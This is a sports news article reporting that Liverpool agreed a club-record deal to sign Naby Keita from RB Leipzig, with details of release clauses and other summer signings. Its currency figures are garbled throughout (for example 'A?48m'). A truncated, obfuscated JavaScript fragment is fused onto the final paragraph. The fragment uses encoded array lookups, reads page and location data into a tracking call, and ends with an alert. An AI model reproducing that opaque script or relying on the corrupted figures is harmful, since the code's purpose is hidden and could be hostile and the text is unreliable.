Liverpool have agreed a club record deal to sign RB Leipzig’s Naby Keita, with the midfielder moving to Anfield in July 2018.
The Reds have agreed to pay the A?48m release clause that will allow the 22-year-old to move next summer, plus an undisclosed premium. Keita had been one of Liverpool boss Jurgen Klopp’s primary targets this summer, but Leipzig refused to sell.
Liverpool had been tracking the Guinea midfielder all summer and had two bids rejected by the Bundesliga runners-up; the second of which was worth a75 million (A?69.3m), Red Bull co-owner Dietrich Mateschitz said.
Keita’s contract reportedly includes an exit clause of a52m (A?48m) that can be activated on July 1, 2018, and Leipzig have sanctioned the move to Liverpool.
The deal will surpass the A?35m paid to Newcastle for Andy Carroll in 2011.
RB Leipzig finished second behind Bayern Munich in the Bundesliga last season, meaning they qualified for the Champions League group stage.
So far this summer, Liverpool have signed winger Mohamed Salah from Roma for A?34m, full-back Andrew Robertson from Hull for A?8m and striker Dominic Solanke after his contract at Chelsea expired.
The Anfield club are also prepared to test Monaco’s resolve to keep midfielder Thomas Lemar with an offer of about A?60m before Thursday’s transfer deadline. t[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
